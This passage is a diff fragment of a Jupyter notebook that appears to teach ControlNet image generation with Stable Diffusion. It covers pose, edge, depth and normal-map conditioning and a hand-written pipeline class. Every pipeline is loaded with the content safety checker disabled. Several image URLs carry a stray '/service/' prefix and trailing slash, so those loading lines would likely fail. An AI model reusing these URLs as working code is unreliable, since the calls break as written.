"referenced_widgets": [ + "a74467c946df4fe99fba1b2751a0cad1", + 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"id": "ts8fiPLordOD", + "outputId": "08a7450f-8e53-48a4-9c2d-2994353c3140" + }, + "outputs": [], + "source": [ + "# load the openpose model\n", + "openpose = OpenposeDetector.from_pretrained('lllyasviel/ControlNet')\n", + "\n", + "# load the controlnet for openpose\n", + "controlnet = ControlNetModel.from_pretrained(\n", + " \"lllyasviel/sd-controlnet-openpose\", torch_dtype=torch.float16\n", + ")\n", + "\n", + "# define stable diffusion pipeline with controlnet\n", + "pipe = StableDiffusionControlNetPipeline.from_pretrained(\n", + " \"runwayml/stable-diffusion-v1-5\", controlnet=controlnet, safety_checker=None, torch_dtype=torch.float16\n", + ")\n", + "pipe.scheduler = UniPCMultistepScheduler.from_config(pipe.scheduler.config)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "LPdQiPkXri1y" + }, + "outputs": [], + "source": [ + "# Remove if you do not have xformers installed\n", + "# see https://huggingface.co/docs/diffusers/v0.13.0/en/optimization/xformers#installing-xformers\n", + "# for installation instructions\n", + "pipe.enable_xformers_memory_efficient_attention()\n", + "pipe.enable_model_cpu_offload()" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 657 + }, + "id": "f_HH_n8WrdQN", + "outputId": "2432a1d8-cdec-4b0e-ca8e-d62ce008136e" + }, + "outputs": [], + "source": [ + "image_input = load_image(\"https://cdn.pixabay.com/photo/2016/05/17/22/19/fashion-1399344_640.jpg/")\n", + "image_input" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 785 + }, + "id": "AUJikHhlrdSX", + "outputId": "398bd929-ff3e-4f05-cad6-a3079b911d75" + }, + "outputs": [], + "source": [ + "image_pose = openpose(image_input)\n", + "image_pose" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 817, + "referenced_widgets": [ + "b5a39dc5eccf4747ade601d25681c2b2", + "1ce482eed7dd4a62b5c97b7fae38f392", + "f566fa59f127470087bb68beea6ee8fb", + "6c0b26e65230468cb5ef11d3d0bf1bd3", + "aa4097be74c3412eb9571ed6ef250828", + "f02818f8f3d54f72961c51e8fe526dc2", + "8d2da5062f414a7f8c98facdd7d2bad0", + "2fa71efbdefa4607b37d985b272fcffa", + "e20f4ef3c100484cae5ba0a570be604c", + "f48bc2b8666b4e48a6f8cad4cda2530d", + "29e96ee99a714e2c86a0d68be1a31055" + ] + }, + "id": "0MfsiN_Jri4G", + "outputId": "5286a2ac-13a3-4c35-80ab-a9968c9c8602" + }, + "outputs": [], + "source": [ + "image_output = pipe(\"A professional photograph of a male fashion model\", image_pose, num_inference_steps=20).images[0]\n", + "image_output" + ] + }, + { + "attachments": {}, + "cell_type": "markdown", + "metadata": { + "id": "HEiobo68Kzso" + }, + "source": [ + "# Custom implementation" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "0y9iWI9cK17f" + }, + "outputs": [], + "source": [ + "class ControlNetDiffusionPipelineCustom:\n", + " \"\"\"custom implementation of the ControlNet Diffusion Pipeline\"\"\"\n", + "\n", + " def __init__(self,\n", + " vae,\n", + " tokenizer,\n", + " text_encoder,\n", + " unet,\n", + " controlnet,\n", + " scheduler,\n", + " image_processor,\n", + " control_image_processor):\n", + "\n", + " self.vae = vae\n", + " self.tokenizer = tokenizer\n", + " self.text_encoder = text_encoder\n", + " self.unet = unet\n", + " self.scheduler = scheduler\n", + " self.controlnet = controlnet\n", + " self.image_processor = image_processor\n", + " self.control_image_processor = control_image_processor\n", + " self.device = 'cuda' if torch.cuda.is_available() else 'cpu'\n", + "\n", + "\n", + "\n", + " def get_text_embeds(self, text):\n", + " \"\"\"returns embeddings for the given `text`\"\"\"\n", + "\n", + " # tokenize the text\n", + " text_input = self.tokenizer(text,\n", + " padding='max_length',\n", + " max_length=tokenizer.model_max_length,\n", + " truncation=True,\n", + " return_tensors='pt')\n", + " # embed the text\n", + " with torch.no_grad():\n", + " text_embeds = self.text_encoder(text_input.input_ids.to(self.device))[0]\n", + " return text_embeds\n", + "\n", + "\n", + "\n", + " def get_prompt_embeds(self, prompt):\n", + " \"\"\"returns prompt embeddings based on classifier free guidance\"\"\"\n", + "\n", + " if isinstance(prompt, str):\n", + " prompt = [prompt]\n", + " # get conditional prompt embeddings\n", + " cond_embeds = self.get_text_embeds(prompt)\n", + " # get unconditional prompt embeddings\n", + " uncond_embeds = self.get_text_embeds([''] * len(prompt))\n", + " # concatenate the above 2 embeds\n", + " prompt_embeds = torch.cat([uncond_embeds, cond_embeds])\n", + " return prompt_embeds\n", + "\n", + "\n", + " def transform_image(self, image):\n", + " \"\"\"convert image from pytorch tensor to PIL format\"\"\"\n", + "\n", + " image = self.image_processor.postprocess(image, output_type='pil')\n", + " return image\n", + "\n", + "\n", + "\n", + " def get_initial_latents(self, height, width, num_channels_latents, batch_size):\n", + " \"\"\"returns noise latent tensor of relevant shape scaled by the scheduler\"\"\"\n", + "\n", + " image_latents = torch.randn((batch_size,\n", + " num_channels_latents,\n", + " height // 8,\n", + " width // 8)).to(self.device)\n", + " # scale the initial noise by the standard deviation required by the scheduler\n", + " image_latents = image_latents * self.scheduler.init_noise_sigma\n", + " return image_latents\n", + "\n", + "\n", + "\n", + " def denoise_latents(self,\n", + " prompt_embeds,\n", + " controlnet_image,\n", + " timesteps,\n", + " latents,\n", + " guidance_scale=7.5):\n", + " \"\"\"denoises latents from noisy latent to a meaningful latent as conditioned by controlnet\"\"\"\n", + "\n", + " # use autocast for automatic mixed precision (AMP) inference\n", + " with autocast('cuda'):\n", + " for i, t in tqdm(enumerate(timesteps)):\n", + " # duplicate image latents to do classifier free guidance\n", + " latent_model_input = torch.cat([latents] * 2)\n", + " latent_model_input = self.scheduler.scale_model_input(latent_model_input, t)\n", + "\n", + " control_model_input = latents\n", + " controlnet_prompt_embeds = prompt_embeds\n", + "\n", + " # get output from the control net blocks\n", + " down_block_res_samples, mid_block_res_sample = self.controlnet(\n", + " control_model_input,\n", + " t,\n", + " encoder_hidden_states=controlnet_prompt_embeds,\n", + " controlnet_cond=controlnet_image,\n", + " conditioning_scale=1.0,\n", + " return_dict=False,\n", + " )\n", + "\n", + " # predict noise residuals\n", + " with torch.no_grad():\n", + " noise_pred = self.unet(\n", + " latent_model_input,\n", + " t,\n", + " encoder_hidden_states=prompt_embeds,\n", + " down_block_additional_residuals=down_block_res_samples,\n", + " mid_block_additional_residual=mid_block_res_sample,\n", + " )['sample']\n", + "\n", + " # separate predictions for unconditional and conditional outputs\n", + " noise_pred_uncond, noise_pred_text = noise_pred.chunk(2)\n", + "\n", + " # perform guidance\n", + " noise_pred = noise_pred_uncond + guidance_scale * (noise_pred_text - noise_pred_uncond)\n", + "\n", + " # remove the noise from the current sample i.e. go from x_t to x_{t-1}\n", + " latents = self.scheduler.step(noise_pred, t, latents)['prev_sample']\n", + "\n", + " return latents\n", + "\n", + "\n", + "\n", + " def prepare_controlnet_image(self,\n", + " image,\n", + " height,\n", + " width):\n", + " \"\"\"preprocesses the controlnet image\"\"\"\n", + "\n", + " # process the image\n", + " image = self.control_image_processor.preprocess(image, height, width).to(dtype=torch.float32)\n", + " # send image to CUDA\n", + " image = image.to(self.device)\n", + " # repeat the image for classifier free guidance\n", + " image = torch.cat([image] * 2)\n", + " return image\n", + "\n", + "\n", + "\n", + " def __call__(self,\n", + " prompt,\n", + " image,\n", + " num_inference_steps=20,\n", + " guidance_scale=7.5,\n", + " height=512, width=512):\n", + " \"\"\"generates new image based on the `prompt` and the `image`\"\"\"\n", + "\n", + " # encode input prompt\n", + " prompt_embeds = self.get_prompt_embeds(prompt)\n", + "\n", + " # prepare image for controlnet\n", + " controlnet_image = self.prepare_controlnet_image(image, height, width)\n", + " height, width = controlnet_image.shape[-2:]\n", + "\n", + " # prepare timesteps\n", + " self.scheduler.set_timesteps(num_inference_steps)\n", + " timesteps = self.scheduler.timesteps\n", + "\n", + " # prepare the initial image in the latent space (noise on which we will do reverse diffusion)\n", + " num_channels_latents = self.unet.config.in_channels\n", + " batch_size = prompt_embeds.shape[0] // 2\n", + " latents = self.get_initial_latents(height, width, num_channels_latents, batch_size)\n", + "\n", + " # denoise latents\n", + " latents = self.denoise_latents(prompt_embeds,\n", + " controlnet_image,\n", + " timesteps,\n", + " latents,\n", + " guidance_scale)\n", + "\n", + " # decode latents to get the image into pixel space\n", + " latents = latents.to(torch.float16) # change dtype of latents since\n", + " image = self.vae.decode(latents / self.vae.config.scaling_factor, return_dict=False)[0]\n", + "\n", + " # convert to PIL Image format\n", + " image = image.detach() # detach to remove any computed gradients\n", + " image = self.transform_image(image)\n", + "\n", + " return image" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "kugjwBC3K4JK" + }, + "outputs": [], + "source": [ + "# We can get all the components from the ControlNet Diffusion Pipeline (the one implemented by Hugging Face as well)\n", + "vae = pipe.vae\n", + "tokenizer = pipe.tokenizer\n", + "text_encoder = pipe.text_encoder\n", + "unet = pipe.unet\n", + "controlnet = pipe.controlnet\n", + "scheduler = pipe.scheduler\n", + "image_processor = pipe.image_processor\n", + "control_image_processor = pipe.control_image_processor" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "6ooKnlkVK4LV" + }, + "outputs": [], + "source": [ + "custom_pipe = ControlNetDiffusionPipelineCustom(vae, tokenizer, text_encoder, unet, controlnet, scheduler, image_processor, control_image_processor)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 546 + }, + "id": "BYW8mEH2K4NY", + "outputId": "6e610454-e4c4-4c9d-c091-23cf9cbecec9" + }, + "outputs": [], + "source": [ + "# sample image 1\n", + "images_custom = custom_pipe(\"a fashion model wearing a beautiful dress\", image_pose, num_inference_steps=20)\n", + "images_custom[0]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 546 + }, + "id": "w4XGMCsUK4RA", + "outputId": "59e49ba7-d3c3-4fd7-bf0c-ed9ac23695dd" + }, + "outputs": [], + "source": [ + "# sample image 2\n", + "images_custom = custom_pipe(\"A male fashion model posing in a museum\", image_pose, num_inference_steps=20)\n", + "images_custom[0]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 546 + }, + "id": "GU9P7QMacZTW", + "outputId": "b3c7e3aa-04b1-47c9-e29d-a8b68457b8e8" + }, + "outputs": [], + "source": [ + "# sample image with a different prompt\n", + "images_custom = custom_pipe(\"A professional ice skater wearing a dark blue jacket around sunset, realistic, UHD\", image_pose, num_inference_steps=20)\n", + "images_custom[0]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "tXShSB0Fd7qd" + }, + "outputs": [], + "source": [] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "9dW5PCk0d7t7" + }, + "outputs": [], + "source": [] + }, + { + "attachments": {}, + "cell_type": "markdown", + "metadata": { + "id": "fwnnyHq3oi7O" + }, + "source": [ + "# Canny" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "1L96sjJ_oi7P" + }, + "outputs": [], + "source": [ + "import cv2\n", + "from PIL import Image\n", + "from diffusers import StableDiffusionControlNetPipeline, ControlNetModel, UniPCMultistepScheduler\n", + "import torch\n", + "import numpy as np\n", + "from diffusers.utils import load_image" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 566, + "referenced_widgets": [ + "6846be1897c64311a10d421483131bf9", + "147cd6ad4d4c4fca82a7a531684ffd2a", + "6f88f6e516064ed1a82e1d69742d324c", + "9998dc803aec438ab2bbdcb1edb8ab4e", + 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"28baa1ec6f3c46309c04f2c8462b1798", + "9cc4d939cc454a0da5eb7bdd234f69b5", + "058220c3342b49e0bcc1f0973566ac72", + "7db99c4ea5e14e9bb5180a5beb4cc142", + "344e28ed2fc344f4ad5ab6f62a042631", + "dc495adaeb53477d903ce952060e4f3f", + "d95e3f841d4f4f278fb3adae0b11d4c3", + "ee9448f0b9964d8fad850501e08e3c84", + "485caac1aa1641a3b31827620ddfa3e4", + "55fe364a57aa4eaa93cb93b889d241c5", + "3deaa7c9f0c940c3af3b9a7c5d0c8de4", + "93df8bff634740a29f3820042d69347f", + "373d310d37454a409b53c30e7d7d1de5", + "bcd48b3b056c4c14b6034ef32fdde5d5", + "948f2f29870b4ee7974ddad6ba18397d", + "978a0bae9c5f4ab7ac45f1f4f870fef0", + "233120cc0399483ea17284432feb16d3", + "183551cc7517479db8e0fffe634f2e6c", + "90398133563a48288ebf11cf0e0e242d", + "b6c5549bd95644ad9e553c2e59199f04", + "48ec35653f99446db9cefabe146bb2d8", + "84e8bc8164b948d8897a8637c226ef1c", + "89abbaee27c441b3ab1c656806a7e67d", + "9a46a59ffb8d44c89b067519101f7a74", + "c0771d4d9b7242c4a1b6ea8954e9e96e", + "682a337dc14e48908be4cf40f7320d1f", + "6d699038776e4fad8bb74d2381109b65", + "38dd90648c1949b196ebf27fb21436ba", + "dde9a4c3dd824b6f8345b29f2a28ef5f", + "6da0c63935ac4ee4bfe6a6efbedfa93d", + "42109c92a03c45cabd7fbb0cc7cf1c4a", + "db6ac9519e6a438ebca23446b0f2a4aa", + "8adb835bb80941dfa3e21c9dac93d793", + "e57b840c4d3c4abcae1b69b189701c72", + "304e7a7a38834b3093002b6694c7cb67", + "5056e439bb4b4bad8b0694c79138424f", + "7d6d17a2798c41c6b27c25e1057869a3", + "52a201ace1f647059d93e5d9406afee5", + "43820ed672c04bbf80155b25c4e4de15", + "b8a38cb7b914460caf5f190692f5b935", + "633f3db9f5dd4f6984aa821a1717c03b", + "c184aabb31504cbd8361a9ab06899438", + "5c428d2de97f4bc28835ead1f6331e9e", + "229a1efdf3df4fe9aac07562774b084b", + "697d6a7fa4ee4d37bb80d624ffedf526", + "c87c97a9ed4b493c8d6df7d11b1684ca", + "9ee7a0fe9750457abaf427983e5866fe", + "103ffa0973364618b4ce1d5528078062", + "b08e7b6e25c24054ac5b2b18bcb6f2ae", + "5532a6b6181a4aecbfca636813b661fd", + "4f425c415dac44b3b86aa4f481254196", + "97ffad3c1b6e4c9c9621966c028c12aa", + "3c2af8d5617b4b878b2e68f3fc7ebff6", + "8d27414ca68a4494ab3febc1c8a03025", + "10f4d1976dc04c3bb651b45c08298fab", + "eb72384f0e50444d9db03c12aca4b899", + "e7ddc52526db41e4907a2ede8dcef7c7", + "9f4a6f9a897c4db0a8d92bf01f3f820c", + "88e4029063f44ce5a7e89e8f17664eeb", + "77a73421b7ae4bfe9fcb87353a121402", + "7bee130b66754bbc85e8454455ece425", + "f61abe945b124e31a72254333f26c785", + "b1da7b0efaaf4db4a7660bc5457f2bfa", + "3e55680d33db47099479572d0c8915f2", + "c48ca8b557154fac885edaebc4879321", + "d4c261dab25d405ba560d4626683bccb", + "1daa130f38a84c6d9a4149536b21927e", + "bf14652b43264c2b884e2d19786d6f5e", + "a94d5d8411844431bb022813d14461c0", + "161da25b295b4afa8f8b88507818d052", + "fd444832eb3b4399946317b54b495d52", + "629f9b2f0b79420ba0baeb5961df73da", + "869c22e5399145dab7e36633b910abca", + "6e89b30bfcd04f1ebc77492eae365847", + "7f27d4dadc2a4c4783f35193cf085593", + "fa4ce3277cce4064aaf40849870966c1", + "d2324949415f4df2a964046b326231a4", + "4a3c28369fc14bbebdc749d0b3a5747b", + "be72ef0e4b8840608fd9160a6b43075d", + "6d8e99610d624a09a53ef0c77b3f0c25", + "b9df58ad481f414f8240ce076cf53363", + "3b2265f2c01844fb9c99e18c61344d69", + "e060cf453034447dba6af95a918e3092", + "7f49c5a346894250ad0587fa3420635a", + "c318de49fe3a455992738cf20f7099ad", + "3ff34cbabc564abebd12a9e5e19786b0", + "611bde262a924746a253ab5481b9b212", + "3ae595d0044944ea959d949d8c68d509", + "5494938bff7d4c6da3d82f1034404362", + "f05ad5aa13a040609336f0d6b2580be2", + "02648abd8847434496722b0c5bb69858", + "e3b2deb57c0644dcbf97297abf22f91c", + "7267e3d447ef4dfa97c3fc6a560ea797", + "2bc90ab8db7b4f979ff0cb5eb01284a6" + ] + }, + "id": "Dhg4rTN3oi7P", + "outputId": "f2114cf6-bbc5-4e5e-827e-e5fc0a92351e" + }, + "outputs": [], + "source": [ + "# load the controlnet model for canny edge detection\n", + "controlnet = ControlNetModel.from_pretrained(\n", + " \"lllyasviel/sd-controlnet-canny\", torch_dtype=torch.float16\n", + ")\n", + "\n", + "# load the stable diffusion pipeline with controlnet\n", + "pipe = StableDiffusionControlNetPipeline.from_pretrained(\n", + " \"runwayml/stable-diffusion-v1-5\", controlnet=controlnet, safety_checker=None, torch_dtype=torch.float16\n", + ")\n", + "pipe.scheduler = UniPCMultistepScheduler.from_config(pipe.scheduler.config)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "H-m6uNFCoi7P" + }, + "outputs": [], + "source": [ + "# enable efficient implementations using xformers for faster inference\n", + "pipe.enable_xformers_memory_efficient_attention()\n", + "pipe.enable_model_cpu_offload()" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 441 + }, + "id": "ATEwEV-6oi7Q", + "outputId": "055658c9-5ab9-4496-a407-f4a213f84bd8" + }, + "outputs": [], + "source": [ + "image_input = load_image(\"https://cdn.pixabay.com/photo/2023/06/03/16/05/spotted-laughingtrush-8037974_640.png/")\n", + "image_input = np.array(image_input)\n", + "\n", + "Image.fromarray(image_input)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 441 + }, + "id": "K2c64abboi7Q", + "outputId": "fd9de66a-d340-4b1e-bc51-7e9c96f1f80a" + }, + "outputs": [], + "source": [ + "# define parameters from canny edge detection\n", + "low_threshold = 100\n", + "high_threshold = 200\n", + "\n", + "# do canny edge detection\n", + "image_canny = cv2.Canny(image_input, low_threshold, high_threshold)\n", + "\n", + "# convert to PIL image format\n", + "image_canny = image_canny[:, :, None]\n", + "image_canny = np.concatenate([image_canny, image_canny, image_canny], axis=2)\n", + "image_canny = Image.fromarray(image_canny)\n", + "\n", + "image_canny" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 473, + "referenced_widgets": [ + "27d1ad377e6c45d7b4b1c49786438015", + "475c331703bb43adb142f6c9cc41a3bf", + "10be4b9595c84f36aeab9593e63440e6", + "645ebe129fd544a4b9383dfc1414cf0a", + "51605e182e344a94a99c50fcaaef17b1", + "c45aec98de234d3982ff83924dce8d7a", + "942ace43ed1d48aeafc6c5e17f14e034", + "51890b032fbb48139e11d69850a6db57", + "30408dcf6dd14e27bab9cc06cc664c4c", + "b539338d7bf84f50a8c57f90986a8d9a", + "d16de73052ac42e8a8065d4dc54ebe51" + ] + }, + "id": "zac6FpNwoi7Q", + "outputId": "8bf84b99-fe11-43d2-82e2-f2b35ae99d5a" + }, + "outputs": [], + "source": [ + "image_output = pipe(\"bird\", image_canny, num_inference_steps=20).images[0]\n", + "image_output" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 473, + "referenced_widgets": [ + "48a26564f08f43dd962464feb762c232", + "c6965bc561db4c519b751c5b7bff96a8", + "032471548f5c45ed89d8a62db800c7fc", + "0af102aac55747fcb8854b8b5ed2dd27", + "a086d1c6722547d5be5939cf4284a1ef", + "ba3cf4ae2c4e45e58abb82d2491fb7ba", + "c64f35616d8e4b4bb129bc7aaa4ae889", + "01fc82bb9bb84c628890b9a2349a6e6e", + "f66573653707458f80b29a40e1193d31", + "7b0ece2c75614540a942214d1f527f91", + "0d3e1914b85047c7af6b6bd4fd94e197" + ] + }, + "id": "DXrdLeZrplMW", + "outputId": "31bb0440-493a-4ee8-edc0-23c090f679c4" + }, + "outputs": [], + "source": [ + "image_output = pipe(\"a cute blue bird with colorful aesthetic feathers\", image_canny, num_inference_steps=20).images[0]\n", + "image_output" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "-Yti9Dg8ofxd" + }, + "outputs": [], + "source": [] + }, + { + "attachments": {}, + "cell_type": "markdown", + "metadata": { + "id": "-o-9jxdtpvgi" + }, + "source": [ + "# Depth" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "rgwvAu2xpvgj" + }, + "outputs": [], + "source": [ + "from transformers import pipeline\n", + "from diffusers import StableDiffusionControlNetPipeline, ControlNetModel, UniPCMultistepScheduler\n", + "from PIL import Image\n", + "import numpy as np\n", + "import torch\n", + "from diffusers.utils import load_image" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "IcxFcjHspvgj", + "outputId": "79bed3a2-27b2-411e-a748-22949d5cac62" + }, + "outputs": [], + "source": [ + "# load the depth estimator model\n", + "depth_estimator = pipeline('depth-estimation')\n", + "\n", + "# load the controlnet model for depth estimation\n", + "controlnet = ControlNetModel.from_pretrained(\n", + " \"lllyasviel/sd-controlnet-depth\", torch_dtype=torch.float16\n", + ")\n", + "\n", + "# load the stable diffusion pipeline with controlnet\n", + "pipe = StableDiffusionControlNetPipeline.from_pretrained(\n", + " \"runwayml/stable-diffusion-v1-5\", controlnet=controlnet, safety_checker=None, torch_dtype=torch.float16\n", + ")\n", + "pipe.scheduler = UniPCMultistepScheduler.from_config(pipe.scheduler.config)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "QfZNDXHgpvgj" + }, + "outputs": [], + "source": [ + "# enable efficient implementations using xformers for faster inference\n", + "pipe.enable_xformers_memory_efficient_attention()\n", + "pipe.enable_model_cpu_offload()" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 475 + }, + "id": "t0_6mNOgpvgj", + "outputId": "8dd080e3-9fbb-4bc5-bd4c-375a4e1f18ee" + }, + "outputs": [], + "source": [ + "image_input = load_image(\"https://huggingface.co/lllyasviel/sd-controlnet-depth/resolve/main/images/stormtrooper.png/")\n", + "image_input" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 475 + }, + "id": "oTim6FQrpvgk", + "outputId": "4cc296a7-0822-4012-a07c-232f14bb039e" + }, + "outputs": [], + "source": [ + "# get depth estimates\n", + "image_depth = depth_estimator(image_input)['depth']\n", + "\n", + "# convert to PIL image format\n", + "image_depth = np.array(image_depth)\n", + "image_depth = image_depth[:, :, None]\n", + "image_depth = np.concatenate([image_depth, image_depth, image_depth], axis=2)\n", + "image_depth = Image.fromarray(image_depth)\n", + "\n", + "image_depth" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 505, + "referenced_widgets": [ + "173d24393b854ad0a03fd02d56c7d037", + "a33e6193984b46d4bb9b4187d726009e", + "230461cc201f4535a9f9bcf7a3ae7669", + "4900e42f3bfa4a6096b16d47d38687dc", + "2112261a320b4b9297aa3edc85fa2316", + "1c65960b291c4d92bced5bca619e8256", + "194f16cb7fbb42a78d9237e4e6654b58", + "b87077da3f824478ac88369582d77e8e", + "6f9f95e2d503403f83be05364b4199cd", + "c39f69cd4e8b4bca8e95bda3b06a74f1", + "f8dbc4c64a0d440e9660b0d7ef083b5c" + ] + }, + "id": "zK5HpMNdpvgq", + "outputId": "2b2e889d-8920-404f-e8de-e2753caebf05" + }, + "outputs": [], + "source": [ + "image_output = pipe(\"Darth Vader giving lecture\", image_depth, num_inference_steps=20).images[0]\n", + "image_output" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 505, + "referenced_widgets": [ + "083aa6ce3274445c830c4157dc9ea4be", + "be56ad8a63884a33a22bfb3b39da1cc0", + "83b4c17fa697445f86f7f034fe670934", + "c3dc31d7d2be42be88fe03fa33e5f20d", + "2c38cd148fe74a5897c3319be42b7d7e", + "c44f196498724b1b80b25bda832dc310", + "069b424c2d3846b8ba69a455dbda1f88", + "707ce79ce0da4f35ad6b8f636d2901f8", + "261aabd2415d43809b669b49f3899504", + "7427e45c55994a6fa304d6d58ffeb1fb", + "2df0162802aa488dbddb9a7376954865" + ] + }, + "id": "ulgn37vmrUS8", + "outputId": "aba588b6-5de1-44c5-8d96-79ac14a89f9a" + }, + "outputs": [], + "source": [ + "image_output = pipe(\"A realistic, aesthetic portrait style photograph of Darth Vader giving lecture, 8k, unreal engine\", image_depth, num_inference_steps=20).images[0]\n", + "image_output" + ] + }, + { + "attachments": {}, + "cell_type": "markdown", + "metadata": { + "id": "-uc3OBwGryX9" + }, + "source": [ + "# Normal" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "vZ8NidcHryYF" + }, + "outputs": [], + "source": [ + "from PIL import Image\n", + "from transformers import pipeline\n", + "import numpy as np\n", + "import cv2\n", + "from diffusers import StableDiffusionControlNetPipeline, ControlNetModel, UniPCMultistepScheduler\n", + "import torch\n", + "from diffusers.utils import load_image" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 214, + "referenced_widgets": [ + "f0ddc614bd9a40468c083db3a457e1c1", + "a27de7fc1bfa486f9ff8829d4d4198f6", + "47507d2cf4e04f2f927ee369c6d7b4d4", + "e11151541738459ba16b582a9edefd2c", + "33c23b5b6adf403dba45e9f8e64e37dc", + "a9a5528792504d12bf153d2b02fd3847", + "439ee7b8de924bf6ba5ee4ef22e0e659", + "b4e865be02fb4290849b676f4dd18ed0", + "87d4c1e6a2a047f887704f6b0a148d2e", + "b74532a8bd8e49f2a8286a1eed72a0d3", + "dd66e37aec9449de944edfa6dacdfc5f", + "57216de8dfcc4ab78bfb8c41fae856b4", + "c85b3e0dd20f414181d768cac5c9ab4e", + "53774d0251ea4e4a884fc265a5ce561b", + "30cdb95dd5d746b1adacaaf823b21b89", + "bfd0a68276654b4997b802bc6d47f684", + "dd81ef8c35384eadb1572400c775f789", + "de80e8cbbd25433c88267a1f997772e7", + "e116ebfa368d424ca64eea23a82ef959", + "2b92efb0492b4af6b50e2d5754212b5c", + "2fee0c2fcb3b4705ad4cc212d6138ec9", + "5f012cede7a0405fbb12550072bccbc2", + "a999af1084134026904611113b3feac6", + "814f29773b6b40d99d03320a3f5fe7d4", + "9f7e4357439944e392d0c9e93068c898", + "8e31c3cc06bd4e9b92c3b1e6d5a9d61f", + "9dc6d26cdb7945ffb31b2c381412a383", + "36de2037f4b841afb366f27a7eb08396", + "cb805d94485c4ff5a0aaec67e6cdb827", + "d923cb2715554512a7faf5b5d73a4ed8", + "4399ee6304e94797ac6f36318165d4cc", + "7c2b45b1cf2a485b93e52b2dee04a278", + "851c4973cb0c4fbe91536a09f006ad43", + "7d10f1e6258943dd86d9c75aa17553c8", + "193fa11998404439b90913f5f5b4619e", + "0383c8a7e3384eec9205dc8f37654ee4", + "4615b3c5ce674070840fbb7bcb54f262", + "b57f5b94be66435fab8e8aa9b877848c", + "8b7c3bcf27644ac09871f733662c4d8b", + "42cabc32ffc34ddd924fde45571ada38", + "58c63ae0605a4f1192c52e4306602fd7", + "55e0a986be424043846c0e863158a1bd", + "23a9e406e89041f8ab9a15eae4f9c61b", + "f18d3449a23c485a85e38f0ced810c99", + "1d4352761751419282c93eb85c0954c0", + "b84453116ba14690b8ae8a8e723f8510", + "6e14135b00e447c18a0a693d47f5c92b", + "9a540d6ed00a424da320fd7a12c31ac5", + "13f07d79c96146aaa1d7731526aaec29", + "b54312c4603b400b97884eba33ad1095", + "b93ed8d01dbd4e0a84ff01b2e15f68ec", + "8119e3c1840d4e0b975055cb0c255208", + "ad785ec6b7924f2ebcdf0957a16c656d", + "d44b6d406224497d9db5c903c6972323", + "d3010a25994f4f12b95922f2863f4f3b" + ] + }, + "id": "Rt4ecMkaryYG", + "outputId": "f8ab6e1a-2257-48bd-9fa6-c7fe19188404" + }, + "outputs": [], + "source": [ + "# load the Dense Prediction Transformer (DPT) model for getting normal maps\n", + "depth_estimator = pipeline(\"depth-estimation\", model =\"Intel/dpt-hybrid-midas\")\n", + "\n", + "# load the controlnet model for normal maps\n", + "controlnet = ControlNetModel.from_pretrained(\n", + " \"fusing/stable-diffusion-v1-5-controlnet-normal\", torch_dtype=torch.float16\n", + ")\n", + "\n", + "# load the stable diffusion pipeline with controlnet\n", + "pipe = StableDiffusionControlNetPipeline.from_pretrained(\n", + " \"runwayml/stable-diffusion-v1-5\", controlnet=controlnet, safety_checker=None, torch_dtype=torch.float16\n", + ")\n", + "pipe.scheduler = UniPCMultistepScheduler.from_config(pipe.scheduler.config)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "UoGdz3FkryYG" + }, + "outputs": [], + "source": [ + "# enable efficient implementations using xformers for faster inference\n", + "pipe.enable_xformers_memory_efficient_attention()\n", + "pipe.enable_model_cpu_offload()" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 870 + }, + "id": "0WLxPD8fryYG", + 